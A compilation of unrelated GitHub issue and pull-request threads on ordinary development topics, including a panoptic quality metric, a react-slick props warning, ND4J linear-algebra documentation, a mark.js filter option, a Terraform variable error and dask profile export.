[WIP] Add Panoptic Quality (PQ)

This PR adds the panoptic quality (PQ) metric, based on the original implementation.
Unlike most metrics that only require 2 things to be provided to the add_batch method (which are the predictions and the references), the panoptic quality metric requires 2 additional things to be provided, namely the predicted segments_info and the ground truth segments_info (which contain more information about the predicted and ground truth segmentation map, respectively).
Refer to this notebook for evaluating Mask2Former on the COCO panoptic validation set using this metric.
To do:

[ ] decide on API; what should be in the ground truth and predicted segments info? Both should ideally contain the same keys
[ ] support multiprocessing, which currently doesn't work

@NielsRogge thank you for working on this! I think it'll really make it easier to use the segmentation models as well.
I'm guessing researchers will evaluate their models on public datasets such as COCO and ADE20K, and other users will use their custom datasets and will want to evaluate using a minimal setup. My proposal is as follows:

Ground truth annotations include id, category_id, iscrowd, and optionally area (set to None by default) keys. if bbox is included in the dictionary, we simply ignore it.
The iscrowd key is very specific to the COCO dataset, perhaps we can look for a was_fused key and map the iscrowd key to it if the was_fused key is not included in the ground truth annotations.
If there is no area key in the ground truth or prediction annotations, we perform Connected Components Analysis on each (h, w) panoptic segmentation map to compute the area of each instance (fused or unfused). cv2.connectedComponentsWithStats returns the area of each instance.
Predicted segments include the id, category_id, was_fused and the optional area keys.

I'm in favor of changing label_id to category_id in our post-processing methods and keeping was_fused as it is since iscrowd is not a descriptive attribute name and users would have a harder time preparing their custom datasets for evaluation .
cc @amyeroberts

I'm not sure it's possible to define optional features for the inputs of add_batch, cc @lvwerra. Here, we'd like to have an optional key in the reference_annotations.

Yes, you can! The features can be a list of different formats and evaluate figures out which ones match the provided data (checkout bleu for example). You will just need to be consistent across all batches.

Let me know if you need another review on this @NielsRogge.

The metric is actually in a ready state, the final API just needs to be decided (which keys need to be in the predicted vs ground truth annotations). cc @alaradirik

The metric is actually in a ready state, the final API just needs to be decided (which keys need to be in the predicted vs ground truth annotations). cc @alaradirik

Sorry about that, I thought I replied to your remarks!
I'm in favor of excluding keys that are not used for the metric computation - iscrowd/was_fused, area. Users can still include these in the ground truth annotations for the sake convenience and we can drop them during the actual computation.
So the ground truth annotations would have the id, category_id, optionally iscrowd, area and bboxkeys and the predictions would have the id andcategory_id keys. We can exclude the optional / unused keys from the documentation and simply add a remark that additional metadata will be ignored.
What do you think? @NielsRogge @lvwerra @amyeroberts


Fix for custom arrows example issue

This PR provides a fix for issue: https://github.com/akiran/react-slick/issues/671

Version: 0.14.7
Related ticket: https://github.com/akiran/react-slick/issues/623
Error:
Warning: Unknown props `currentSlide`, `slideCount` on <div> tag. Remove these props from the element. For details, see https://fb.me/react-unknown-prop
    in div (created by Carousel)
    in PrevArrow (created by InnerSlider)
    in div (created by InnerSlider)
    in InnerSlider (created by Slider)
    in Slider (created by Carousel)

This happens when using the official example for custom arrows: link
Even though the original ticket was for veresion 0.14.6, this is still happening to me in version 0.14.7.
I fixed it by carefully handling the props on the div (only passing it the props that it can receive) used to render the button and worked like a charm.
This way:
class CarouselArrow extends Component {

  render() {
    let style = {
      ...this.props.style,
      display: 'block',
      background: '#d8e4e8',
      'paddingLeft': '6px',
    };

    return (
      <div className={this.props.className}
              onClick={this.props.onClick}
              style={style}>
      </div>
    );
  }
}

any idea when this will be merged in? am experiencing the same issue

import _ from 'lodash'

const CustomArrow = (props) => (
  <img
    {..._.omit(props, ['currentSlide', 'slideCount'])}
    style={{ ...props.style, objectFit: 'cover' }}
  />
)

This is the code I used for the arrow, you can pass src props to render the image


Colour being set to 0 and geometry size enlarging unintentionally

All colour values of a visualisation (rgba) get set to 0 and the geometry size increases to some inflated amount during both in editor and runtime.
This seems to happen whenever play mode is entered/exited, and also whenever a visualisation is disabled and re-enabled.

Sorry for the late reply, I've had this problem arise again and I think I might have figured out what causes it (at least for my specific circumstance).
I noticed that the problem only occurs when the size dimension is "Undefined". When set to anything else, the sizes of the glyphs work as expected.
In line 236 of ScatterplotVisualisation.cs, the size channel of all glyphs is set to 1 when there is no size dimension:
viewList[i].SetSizeChannel(Enumerable.Repeat(1f, visualisationReference.dataSource[0].Data.Length).ToArray());

This causes the y normals in GSBillboard.shader to be set to 1, meaning the size of glyphs are increased by the maximum value possible as a result of sizeFactor.
float dist = 1;
float sizeFactor = normaliseValue(p[0].normal.y, 0.0, 1.0, _MinSize, _MaxSize);

float halfS = 0.025f * (_Size + (dist * sizeFactor));

A simple fix is just to change the value from 1 to 0. This fixes my particular issue and I think should fix any other issues too.


fast.ai: Handle resuming.

Found some bugs while working on https://github.com/iterative/dvc-get-started-cv/pull/59 .
Use the occasion to also remove the redundant logging of epoch as a metric.

Codecov Report
Base: 96.63% // Head: 96.72% // Increases project coverage by +0.09% :tada:

Coverage data is based on head (ac827f6) compared to base (e9ed5a0).
Patch coverage: 100.00% of modified lines in pull request are covered.

Additional details and impacted files
@@            Coverage Diff             @@
##             main     #379      +/-   ##
==========================================
+ Coverage   96.63%   96.72%   +0.09%
==========================================
  Files          36       36
  Lines        1811     1832      +21
  Branches      160      162       +2
==========================================
+ Hits         1750     1772      +22
  Misses         35       35
+ Partials       26       25       -1

Impacted Files
Coverage Δ

src/dvclive/fastai.py
100.00% <100.00%> (+5.88%)
:arrow_up:

tests/test_fastai.py
100.00% <100.00%> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Exception and terraform.tfvars is Missing

Hi, I am trying to follow the docs but I am stuck at terraForm part.
When I run command terraform apply -var 'git-pat=PUT_GIT_PAT_HERE' --auto-approve I get following Error
│ Error: Variables not allowed
│
│   on <value for var.deployment_regions> line 1:
│   (source code not available)
│
│ Variables may not be used here.
╵
╷
│ Error: No value for required variable
│
│   on variables.tf line 40:
│   40: variable "deployment_regions" {
│
│ The root module input variable "deployment_regions" is not set, and has no default value. Use a -var or -var-file command line argument to
│ provide a value for this variable.

I am not expert in Azure and I am just following the docs so any help would be appreciated. Thanks.

Hi @saadkan, are you running this in PowerShell and inside the iac\ folder root? Also, did you fork this repo and then use your git-pat to replace the PUT_GIT_PAT_HERE text with your token? There's something funky about doing that command with that variable formatting in a DOS console window, so per the docs be sure to use PowerShell.

@microsoftman Thanks for the response. I will pull latest commit. Yes I am using my git-pat. I have made separate repository for that and I am in powershell. Do I need to make SS, MM and VMSS manually before doing all that?

@microsoftman Hi, I am still getting the same error. I don't what I am missing here. What is  var.deployment_regions   Enter a value: error? What should I write here?

@microsoftman Okay Its resolved now. I think the docs needs to be updated. In the docs It is mentioned that Delete the terraform.tfstate file in the iac\ folder if existing from a previous deployment. but its needed in the process. That's why I was getting error.
Although there is another problem that when Im opening MM VM in browser it always says All Cirrus servers are in use. Retrying in 10 seconds. For that I will make another issue. Thanks for updated repo before @microsoftman

Hi @saadkan, glad you got it figured out.  If you are starting a brand new deployment, you'll want to delete the tfstate file so that it doesn't interview with a new deployment. The var.deployment_regions was missing likely because there was that existing tfstate file from before when the tfvars file was missing. Per you question above, no you shouldn't need to do anything manually for the SS/MM, as the Terraform and PowerShell scripts setup everything for you--should be ready to run once you deploy.


feat(nodejs): googleapis release is handled by actions

To allow for its unique monorepo release logic, googleapis is going to use GitHub Actions to handle release PRs and publication logic.

@sofisl @JustinBeckwith this work is getting really close 😄


Examples for standard linear algebra operations such and decompositions and solvers

Request: Clear examples for performing standard linear algebra operations such as matrix multiplication, matrix inverse, SVD, Eigenvalue, matrix inverse, ... etc.
I've been asked by multiple people to add ND4J to Java Matrix Benchmark but have been having issues trying to figure out how to do all the standard operations. See the discussion in deepleanring4j-examples.. One requirement for inclusion in the benchmark is that all operations included be documented and targeted at novice users. Basically it should be the easy to use API that anyone can get running right away by cut and pasting example code and not some low level, potentially numerically unstable, code that only the develop can find.
Here's the current work in progress wrapper for ND4J.
It now has everything in it but:

matrix inverse SPD matrices
matrix determinate
Eigenvalue decomposition

What's the preferred location to get documentation? When I did a google search I got a bunch of 404 but was able to navigate to https://deeplearning4j.konduit.ai/nd4j/tutorials . If so it could use more flushing out and I'm willing to help with that.
I'm also working on getting the numerical stability benchmark running again. I'll share the results with you when I do. It's found many nasty bugs in multiple libraries in the past.

@lessthanoptimal thanks a lot for flagging this. It would be great to get nd4j up to spec with the benchmark.
Let me start off with some history so you understand why things are the way they are:
To start off we recently removed a lot of older docs that were out of date so as to avoid confusing users. We've also historically had some problems we're still cleaning up with our CMS Gitbook. Apologies for that and thanks for flagging.
Regarding the tutorials, what would you like to see? Most of our examples for nd4j can be found here: https://github.com/eclipse/deeplearning4j-examples/tree/master/nd4j-ndarray-examples
Reading through your discussion here: https://github.com/eclipse/deeplearning4j-examples/issues/1003
You're hitting issues with an underused part of the library. The main purpose of the library has historically been to just be a wrapper for the c++ library:  https://github.com/eclipse/deeplearning4j/tree/master/libnd4j
You'll see what's more complete and  has more investment is the deep learning part (which is the main purpose of the library with the lapack parts being secondary)
The first integrations with blas/lapack were done so as part of a main focus on adding support for GEMM with the rest being secondary.
Many of the lapack parts of the library were maintained by the community. That's definitely something I agree should be cleaned up and would be happy to do so. As these are just wrappers it shouldn't be that bad.
One reason for the spotty integration was the sparse support for lapack ops in our cuda backend. The way nd4j works is it splits everything in to backends slf4j style.

Also of note is we actually publish different "spins" of nd4j so depending on what platform you run the benchmark on we publish native binaries for different modes of running compute like avx2/avx512. You can find all of the various combinations we publish for here: https://repo1.maven.org/maven2/org/nd4j/nd4j-native/1.0.0-M1.1/
Do you intend on covering both? That should help with identifying the scope we should address.

@agibsonccc Thanks for all the background information.
You're right that the benchmark is CPU only. Do you think including a link at the top of the results page explaining the situation and linking to a blog post of yours showing how much faster operations will run on a GPU is a good work around for now? In the future we could potentially add a section with GPU results.
Looks like there are only examples for matrix multiply and elementwise operations. A library needs to implement (link) this interface to be included in the benchmark. Below is a list of operations

Cholesky Decomposition
LU Decomposition
SVD
QR Decomposition
Eigenvalue for Symmetric matrices
matrix determinate
inverse of a square matrix
inverse of a SPD matrix
add
matrix mult
mult and transpose
scale
solve exact
solve overdetermined
transpose

For "spins" that might involve another conversation. In the past there has been a requirement that there is a single build script for all platforms. External system dependencies are allowed but must be very well document and easy to install, e.g. you can cut and paste a few "sudo apt install" commands. Requiring the user to rebuild multiple C++ libraries for each architecture was clearly too much and so was manually specifying the CPU cache. If the library can automatically determine the CPU cache without user intervention or being "excessively" slow then great.
Is there a way to get the correct spin without modifying the build script? Could it just download them all and figure out which one to use a runtime?

@lessthanoptimal ok so for our purposes here I'll focus on CPU. I would just add a potential highlight maybe and would appreciate that.
Let me explain the "spin" part. No one needs to build anything when using nd4j. These jars are provided as is with the binaries automatically working similar in spirit to JBlas or what netlib-java used to do. So let's assume that the benchmark runs a pre specified version . I mention this because even for linux we have different spins to let the user handle the trade off of speed vs compatibility (usually newer compiler features vs running on older say: centos systems).
You are right to interpret these libraries as basically the same java bindings to different ways of compiling the same library however.
Regarding "external dependencies" actually these are not a thing to worry about. We allow the user to pick the BLAS to use as well. This happens by a standard maven dependency include.
Openblas: https://search.maven.org/artifact/org.bytedeco/openblas/0.3.17-1.5.6/jar
MKL: https://search.maven.org/artifact/org.bytedeco/mkl/2021.3-1.5.6/jar
as example
Of note here though is: if I remember right the benchmark can run on multiple kinds of CPUs. If that's the case then our linux-arm64 integration with armcompute(https://github.com/ARM-software/ComputeLibrary) will matter as well.  If so that is baked in to our arm bindings without needing to specify anything.
Another  classifier we have is linux-x86_64-compat which runs on older glibcs but won't have access to newer compiler features. If the benchmark is standardized maybe we can just pick the best classifier for the benchmark?
These libraries are generally baked in or auto included via standard java workflows in javacpp which we depend on and maintain for binding against any native library you might need to run.
To have the best benchmark if I can understand it a bit better we can suggest the right BLAS library and setup with the best trade offs with maybe a note explaining that there are different options if people want that. Then from there, with your input I would like to maybe document this better.
Whatever we decide to do here I'd be happy to help with the script as well.
When you say "build script" could you point me at what you're referring to? From there I could look at a way of including this. My basic idea here  would be to ideally help you setup a pom.xml that could sort of auto configure the right dependency. That's usually a mechanism similar to this:
https://github.com/eclipse/deeplearning4j/blob/master/pom.xml#L1142
Regarding your last question on the downloads more or less yes as described above. I would probably suggest a maven profile + set of deps that triggers a backend automatically depending on the system present that equates to the highest performance. That should allow us to achieve an object benchmark where we put our best foot forward without compromising ease of use at least for the benchmark.
From there I can  ensure there's an easier interface for you to work with from there. Let me get back to you on the end to end approach for running all these various ops.

@lessthanoptimal any updates here? Would appreciate some input. I am going to spend some time before our release (within the next week or 2) auditing our blas/lapack support.

Sorry for taking so long to reply! I got pulled away on some other tasks and did a poor job mode switching.
I think the easiest way to handle this is to pick one set jars from bytedeco for x86, arm32  (Raspberry PI), and arm64 and just include them always in the dependencies. At runtime the correct architecture is loaded so the only downside is bloat, which doesn't matter. To date we have not differentiated between architectures at a more fine grained level, i.e. include ops for "newer" chips. The reason for that is the average user really just cuts and pastes the first example they see without reading the actual documentation. I'm not sure where a  good cut off would be, maybe assume the CPU was build in the past 10 years and the OS is up to date as in the past 4?
Gradle is used to build the benchmark project and all java dependencies. External .so files were loaded by running a bash script that just made "apt install" commands.
The build process for the benchmark should be similar to the most simplistic instructions you would provide a new user on the web. From personal experience, if you have a complex flow diagram for which dependency is optimal for which architecture you're going to have a lot of confused users. I tend to tackle that problem by saying "install this first" then go to this page if you want to get up to X% faster performance.

As a side note, the memory and numerical stability benchmarks are up and running again. Those should be a good way to validate the correctness of dl4j.

@lessthanoptimal We sort of do that using nd4j-native-platform. That will include all the dependencies you need out of the box. Having too many different maven artifacts as "spins" will just be even more confusing to users though.
Beyond that, binary size (especially on android and embedded scenarios like pis) are actually a big problem. We can't just include everything wholesale. So the compromise is what I described above there.
Most java libraries today aren't performant or conscious of modern standards for running math workloads. A good example back in the day was netlib-java and jblas. Both store data on the java heap which isn't practical. You always have copy data over to offheap to even see basic performance gains. I know nd4j is a wildly different animal from the rest of the libraries in your list there so I'd like to get your input on the best way to handle it.
From what I'm seeing if we have nd4j-native-platform that will provide the defaults for you.
So I guess the next question...what glibc compatibility should we aim for in the benchmarks? We build on ubuntu 18.04 (read: not centos 7) for some of our builds and this has been a problem for some users. We provide a compat module for that use case but that is not included in nd4j-native-platform. I guess as long as we can nail that I guess we'll use openblas as the base BLAS/Lapack implementation and something relatively recent for defaults which should at least get us close to an out of the box experience for the users.

@lessthanoptimal I finally got to this. Basically we have a pre generated DSL for ndarrays that follows a namespace format similar to our sameiff library. It'll be 1 uniform interface with Nd4j.linalg() - do you want to see anything else here? I had to spruce up a few of our existing ops and add some missing bindings but overall the code is already there for it  just wasn't exposed properly.
Are you ok if I just implement what's in your benchmark spec and then maybe add a docs page for this?

@agibsonccc I'm fine with you implementation it yourself, would actually prefer that. I will double check that you don't use any undocumented or advanced capabilities that the "average" user won't use. So basically it needs to be documented and to the point that someone could simply cut and paste your code.
Also sorry for taking a while to reply. I probably won't be very consistent at replying for a bit. Trying to get a new company started right now.

@lessthanoptimal don't worry about it! I don't need instant prioritization. We'll both get to this as we have time. I just wanted you to know that there's at least a way to do it. I'll see if I can update your benchmarks in the mean time.


Improve the visibility of text in footer

Pull Request Checklist
Fixes:#1648

[x] I have added screenshots and videos to show before and after the working of my code.
[x] I have ensured that the screen size is set to 100% while making the video.
[x] I have synced the latest fork with my local repository and resolved any conflicts.
[x] I have mentioned the issue number which I created before making this PR .(format to mention issue number is : fixes #(issue number) )
[x] I understand that if any the above conditions are not met , my PR will not be MERGED

Before:

After:
Light Mode:

Dark mode:

@ Anshika Please review my changes


Feature Request: Add option to highlight the first n occurrences of a word

Would love an option to only highlight the first n occurrences of a word.  I'm working on a website for a conservation agency and words like conservation, and species among others are often highlighted 10+ times.
Being able to limit the number of times a single word is highlighted would reduce the visual burden of the highlighter on my users.

Thanks for submitting.
To clearify the situation:

You are using the mark () method, don't you?
If so, are you talking about a a limit for the entire search or just for the containing words?
Would it be helpful for you to have an option for ignoring some words?

I implemented by own highlighter, but would love to switch to yours.  Yes, this would be with the mark() method, passing in an array of words to find.
Below is an example of my site. I would run the mark() method on my main body content. After, say, three occurrences of the word species I would want mark() to move on to the next word such that the word species is not highlight 35 times per page.
Does that make sense?

I implemented by own highlighter, but would love to switch to yours.

I rejoice to hear this. Just for my interest, what was the decisive reason?

After, say, three occurrences of the word species I would want mark() to move on to the next word such that the word species is not highlight 35 times per page.

Makes absolutely sense. I'm thinking what would be the best way to achieve this.
You've described that you'd like to limit marks after a predefined amount of matches. But some people might want to limit marks only in specific cases (with logic). I think it would be better to leave the actual use case open and allow a general before callback function, that would get the matching word as a parameter. This function would need to return true if it should continue marking the match or false if not. In your case:
var n = -1;
var options = {
    "before": function(match){
        return !match === "species" && (++n) > 3;
    }
};
new Mark(context).mark(searchTerm, options);

What do you think?

I found a jQuery plugin that did what I wanted, but I don't use jQuery so I wanted to come up with a commonjs solution to use with browserify.  I repurposed the original jQuery plugin with all of the cruft that came with it.  Digging into your source I see that you've started from scratch with ES6, which is awesome; unfortunately I haven't taken the time to learn ES6 yet.
Your solution works well for my use case, and leaves the door open for others.  Much appreciated.

I wanted to come up with a commonjs solution to use with browserify

Well, in the VanillaJS version of mark.js there's no extra code targeting CommonJS, as no dependency is needed. In the jQuery version there's a require() statement. That said, it should work with Browserify in both versions.

Digging into your source I see that you've started from scratch with ES6, which is awesome; unfortunately I haven't taken the time to learn ES6 yet.

I always like to have a good codebase for further implementations. Beside of cross-browser unit tests this also means to have the latest syntax possible. Though, the plugin is also available in ES5 (just if you didn't know).

Once question though from your example, how would the counter be reset after each word? It looks like you have an incrementer, but no way to reset the count.

Gotcha :bowtie: I think something like that would make the magic happen:
var counters = {};
var options = {
    "before": function(match){
        if(!counters[match]){
            counters[match] = -1;
        }
        return !match === "species" && (++counters[match]) > 3;
    }
};

I will test this once the feature is implemented.

Update: I'm going to call the option limit, rather than before. As we have an option filter already, I think it would be confusing to introduce another general option that filters, but with a different name. When having a name implying the use case, it is more easier to understand. Also, the limit callback will only receive the actual word that should be marked, not the DOM element where to mark (what would be necessary for a general filter callback).
It wouldn't be that bad to have a general filter function. But, I personally don't see a use case currently, that can't be solved with the existing options. That said, it will be hard to determine what a user with an unknown use case expects as parameters or what to test against. If there is (sometime) a use case for a general filter function, it would then still be possible to allow (additionally) passing a callback function as the option value for filter instead of an array.
Overall, the option limit can then be a number (integer) indicating the maximum amount of marks per word, or a callback function returning either true or false depending on whether mark should be continued or not.
To avoid confusion it makes sense to describe this option in detail. Therefore I'll implement this directly after the tutorials section is available (in progress).

👍 Thanks for the update

Hi julmot, I arrived here via this StackOverlow question.
My usecase is a follows: I allow users to search by prefix (they only have to type in the first few letters of words in a string) and I want to highlighted only the 'already matched' characters. For example:

a -> Arkansas (only the first A is highlighted)
jo do -> John Doe.
de boe -> Dennis de boer (beware: the second 'de' should not be highlighted).

I think this is possible via regex. For example, the the regex ".?\b(de).?\b(boe)" has two groups which match all characters that should be highlighted in my last example.

@compie Thanks for participating.
Assuming you are initializing mark.js on the following DOM list:

John Doe

John Dorian (JDizzle)

JoJo Debby

Johnathan Wendel</liY

And your search term is "jo do" and you have not disabled separateWordSearch, then the default behavior would be:

John Doe

John Dorian (JDizzle)

JoJo Debby

Johnathan Wendel</liY

(Note "JoJo" gets highlighted two times)
To be able to limit the highlights to only the first occurrence for each word, you would have to initialize mark.js on each
 instead of the
 (In typeahead.js it would be .tt-suggestion instead of .tt-menu). This makes sure that this limit constraint is only available once per list item and not for all matches inside the entire list. Secondly, you would have to pass a limit value.
As an example (jQuery):
$("ul li").each(function() {
  $(this).mark("jo do", {
  	// limits the highlighting of "jo" or "do"
    // to only one per context
    "limit": 1
  });
});

And about the RegExp solution. I think it would be possible, but this way the input can't be dynamic as you would have to wrap them with RegExp things (e.g. groups, ? or +).

A few days ago I've started implementing this. Then I came to a situation and thought about the perfect way of realizing this again. When specifying the limit, a user would probably expect that this limit will actually stop (break) marking and not just ignore further matches. That would make much more code necessary, to really stop all loops (for each element, for each node, for each iframe, for each match, ...).
But this isn't the decisive reason, I'm always happy implementing something if it makes a few people happy – even if that means much effort. The reasons why I'm against such implementation is that it is foreseeable that someone will request a general filter function in the near future. This would then mean to merge the limit option with a general filter callback option that doesn't need to have the constraint that something should really stop after a certain point (as a filter might only be for one element but not for further ones). Therefore I think the work pays off the most when implementing a general filter function and that would also allow customizing the plugin to other use cases.
Alright, so far about my decision backgrounds, now the practical. The easiest way would be to also allow passing a function as the filter option. But that would make it necessary for you to implement a function to filter elements (like e.g. h1 or .ignore) yourself, as you can't have both – an array of filter selectors and a custom filter function. This might not be a problem with jQuery as you can simply use $element.is("h1") to check inside the function. But the pure JavaScript way would require a few more lines. And I'm a fan of perfect user experiences, therefore I'm against this way.
The other way would be to make the currently named option filter available under exlude and then implement the new filter function additionally under the name filter. That would mean that wou could still pass an array of filter selectors under exclude and would furthermore be able to pass your filter function under filter too.
To make life easier for users I could then call the filter callback with three arguments: The actual DOM element where the mark will be done, the matching term and a counter of already marked matches with the same term. So you would not need to count matches for terms yourself. You could then just check for the search term as well as the counter and would be able to easily realize your custom limits. For example:
var options = {
    "filter": function(element, term, counter){
       if(term === "something" && counter > 3){ // "something" was already marked more than three times
           return false; // stop (limit)
        } else {
            return true; // continue
        }
    }
};

Because this would be API breaking it would be necessary to make it available in the next major release.
@rhewitt22 @compie As you can see I really racking my head to find the perfect solution. What do you think?

Thanks for your investigation and thoughts. I don't really care how you
implement it as long as my use case works ;-)
Since I have little Javascript/DOM experience I can't really contribute
much to the discussion.
Currently I implemented my highlighting server-side in Python via a regular
expression. For example, when a user searches for 'jo do' then I translate
this into the regular expression ".?\b(jo).?\b(do)". This regex matches
things like "John Doe". I then use the groups (jo and do) to retrieve
details about the matching characters, which I then use to insert
around the matching characters.
Works great!
2016-06-04 20:50 GMT+02:00 Julian Motz<EMAIL_ADDRESS>
A few days ago I've started implementing this. Then I came to a situation
and thought about the perfect way of realizing this again. When specifying
the limit, a user would probably expect that this limit will actually stop
(break) marking and not just ignore further matches. That would make much
more code necessary, to really stop all loops (for each element, for each
node, for each iframe, for each match, ...).
But this isn't the decisive reason, I'm always happy implementing
something if it makes a few people happy – even if that means much effort.
The reasons why I'm against such implementation is that it is foreseeable
that someone will request a general filter function in the near future.
This would then mean to merge the limit option with a general filter
callback option that doesn't need to have the constraint that something
should really stop after a certain point (as a filter might only be for one
element but not for further ones). Therefore I think the work pays off the
most when implementing a general filter function and that would also allow
customizing the plugin to other use cases.
Alright, so far about my decision backgrounds, now the practical. The
easiest way would be to also allow passing a function as the filter
option. But that would make it necessary for you to implement a function to
filter elements (like e.g. h1 or .ignore) yourself, as you can't have
both – an array of filter selectors and a custom filter function. This
might not be a problem with jQuery as you can simply use $element.is("h1")
to check inside the function. But the pure JavaScript way would require a
few more lines. And I'm a fan of perfect user experiences, therefore I'm
against this way.
The other way would be to make the currently named option filter
available under exlude and then implement the new filter function
additionally under the name filter. That would mean that wou could still
pass an array of filter selectors under exclude and would furthermore be
able to pass your filter function under filter too.
To make life easier for users I could then call the filter callback with
three arguments: The actual DOM element where the mark will be done, the
matching term and a counter of already marked matches with the same term.
So you would not need to count matches for terms yourself. You could then
just check for the search term as well as the counter and would be able to
easily realize your custom limits. For example:
var options = {
"filter": function(element, term, counter){
if(term === "something" && counter > 3){ // "something" was already marked more than three times
return false; // stop (limit)
} else {
return true; // continue
}
}
};
Because this would be API breaking it would be necessary to make it
available in the next major release.
@rhewitt22 https://github.com/rhewitt22 @compie
https://github.com/compie As you can see I really racking my head to
find the perfect solution. What do you think?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/julmot/mark.js/issues/35#issuecomment-223771723, or mute
the thread
https://github.com/notifications/unsubscribe/AANR1JyY3XOjbfzRD4REQpyEsJIJc_iAks5qIcjkgaJpZM4ImbIg
.

That sounds frankly something selfish. I personally don't need this feature since I get along with the existing options. So if I would have the same point of view like you, the plugin wouldn't have this scope and I would have rejected this feature request.
Anyway, since I'm on my own, I'll implement it as I said and it'll be available in the next major release.

Sorry I didn't intend it that way (selfish). I'm grateful if your library
would support this new feature.
Only I don't have the expertise (yet) to understand the implications of the
different options that you proposed. I have only a few hours of
Javascript/jQuery experience, everything is new for me. That was what I was
trying to say: you're the expert, I'm already happy if it simply works.
Sorry I can't help you any further with the design.
2016-06-07 17:15 GMT+02:00 Julian Motz<EMAIL_ADDRESS>
That sounds frankly something selfish. I personally don't need this
feature since I get along with the existing options. So if I would have the
same point of view like you, the plugin wouldn't have this scope and I
would have rejected this feature request.
Anyway, since I'm on my own, I'll implement it as I said and it'll be
available in the next major release.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/julmot/mark.js/issues/35#issuecomment-224313216, or mute
the thread
https://github.com/notifications/unsubscribe/AANR1K_5dftn5CIBe1_RFIL8mPvgsZ9Lks5qJYsKgaJpZM4ImbIg
.

@rhewitt22 @compie I've just released v7.0.0 containing the new 'filter' option.
Please let me know if you encounter any issues.

Awesome, thanks @julmot!  I'm going to make the move from my implementation to yours just as soon as I have the time.
I'm currently working on a responsive redesign the Southeast Region of the U.S. Fish and Wildlife Service website.  We'll use Mark.js as part of our glossary feature.  We'll wrap our glossary terms in a class as a hook for a click handler that triggers the off-canvas glossary to help our users understand scientific and bureaucratic terms.
I very much appreciate your work and the addition of this feature!

@rhewitt22 Thank you for your use case! Looks fantastic, I'm looking forward to see this application. :beers:

Hi, I was wondering if its possible to filter out n first results.
Filter currently stops at first false so I can't do e.g.
filter: function(elem, term, i) {
  if (i < 3) { return false; }
  return true;
}

@whodidthis Please open a new issue with a jsfiddle.


Covered @@GLOBAL.time_zone in CONVERT_TZ function

@sananguliyev Are you going to get around to addressing the feedback?

@fulghum thanks for your feedback. This period is very busy for me, that's why I could not make it. I am not sure when I can fix the issue. @timsehn if it's urgent you want to take it feel free, otherwise I will fix this probably in a couple of weeks.

Thanks @fulghum for reviewing. I am currently working on custom engine on top of go-mysql-server. It's not ready to open source it but still working. This week I will make another contribution which solves integration especially with tools which are written with Java (e.g. Trino).


Need to ensure we use lower-case gRPC header keys

This might be a no-op, but please double check. Filing this issue just in case.
We need to ensure that all headers used for gRPC are written in lower-case. Please review this Pull Request for reference of what needs to be updated.
Again, perhaps this doesn't apply to your language. Feel free to comment and then close the issue (after double checking).

We rely on the gRPC library to handle the setting of headers for us, it appears they have taken this into consideration already so we should be good to go :).


Running calicoctl node without --ip detects the IP address docker0 bridge

Calicoctl node has an optional --ip argument to control which IP should be used by bird for BGP peerings (among other things).
When --ip isn't used, calico detects what IP address to use, but it often detects the IP address of the docker0 bridge. I can't see a situation where this is useful, so that interface should be skipped.

c.f. https://gist.github.com/makuk66/a5b0c61648b17965fe49


Update trivy docker image tag for trivyfs and trivyconfig to 0.44

Enables the use of properly skipping files and directories with globbing patterns.
https://github.com/aquasecurity/trivy/issues/3754
https://github.com/aquasecurity/trivy/pull/4854
- repo: https://github.com/mxab/pre-commit-trivy.git
  rev: v0.5.2
  hooks:
  -   id: trivyconfig-docker
      args:
        - --skip-dirs="**/.terraform"
        - --skip-dirs="**/.terragrunt-cache"
        - .

Thanks!


Eraser assigns to all mouse buttons

When I try to assign eraser tool to right mouse button using
cornerstoneTools.eraser.enable(element); cornerstoneTools.eraser.activate(element, 4);
it also assigns to mouse wheel and left mouse button. It causes other tools, that assigned to mouse wheel or RMB works strange (drawings can disappear). Am I doing something wrong or this is kinda bug?
https://puu.sh/BXPIX/9f3ff21b39.gif
cornerstone-math - 0.1.6 - 2017-06-09
cornerstone-tools - 2.4.0 - 2018-10-25
cornerstone-core - 2.2.7 - 2018-10-25

@PunyFlash, do you have a gist, codepen, or jsfiddle that can be used to reproduce this issue?

Sure. "length" assigned to LMB, "eraser" assigned to RMB. You will get by drawing a few lines

@PunyFlash,
It looks like the eraser tool sets it's mouseButtonMask, but does not filter on it in any of its events. This would cause it to handle events for all mousebuttons: https://github.com/cornerstonejs/cornerstoneTools/blob/master/src/imageTools/eraser.js#L80
If you or anyone else wants to add that filtering, I would be more than happy to take a look at the PR.
Unrelated:
you do not need to call .enable() before .activate()


Export profile data to be viewed after the cluster is closed

Feature Request: Export profile data to be viewed after the cluster is closed.
The dask dashbord's profile graph (which shows which functions took the most time) is very useful.  Yet, as far as I can tell, it cannot be viewed any more after the cluster has been shut down.  Is there any way to save that profile data for historical and/or forensic analysis?

Functions do exist to collect and transform the lower level data.  Here is a small example:
from dask.distributed import Client
client = Client()
import dask
dask.datasets.timeseries().x.sum().compute()  # do some work
x = client.profile()  # the nested data structure described in the distributed/profile.py module docstring
from distributed.profile import plot_data
y = plot_data(x)  # everything necessary to turn that data into a plot

Ideally there would be a nice way to display this data to a user separate from a dask.distributed dashboard session.  Perhaps some of the logic in the distributed.bokeh.components.ProfileTimePlot class could be broken out into a standalone system?  Help with this would be welcome.

Perhaps some of the logic in the distributed.bokeh.components.ProfileTimePlot class could be broken out into a standalone system?

@mrocklin, I am interested in working on this. Let me know If I can help in any way.
What would be the plan here? Have these components into a standalone package?

Sorry for not responding earlier @andersy005
This has been done and is available in the Client.profile method.
It would be nice to also have a context manager solution, similar to get_task_stream that tracked start and end times, but I'm going to close this for now.

No worries, @mrocklin! I am glad to see that this has been implemented! Thank you for mentioning get_task_stream, I wasn't aware this method existed.


supports all ports when target_port is 0

当使用pcapng模式时，如果--port参数为0，则支持所有端口的网络包捕获。否则则只捕获--port对应的端口数据。默认是443 端口。
--port默认没有捕获所有网络包，是因为有很多场景，主机的网络流量很大，eBPF的map写入太快，用户空间消费过慢，导致丢包的问题。虽然用户空间在创建eBPF map时，已经申请了BufferSizeOfEbpfMap大的内存，但仍然还存在网络包过多导致数据丢失的问题。 而且，在Android上有内存大小限制，BufferSizeOfEbpfMap的值仅为1024。

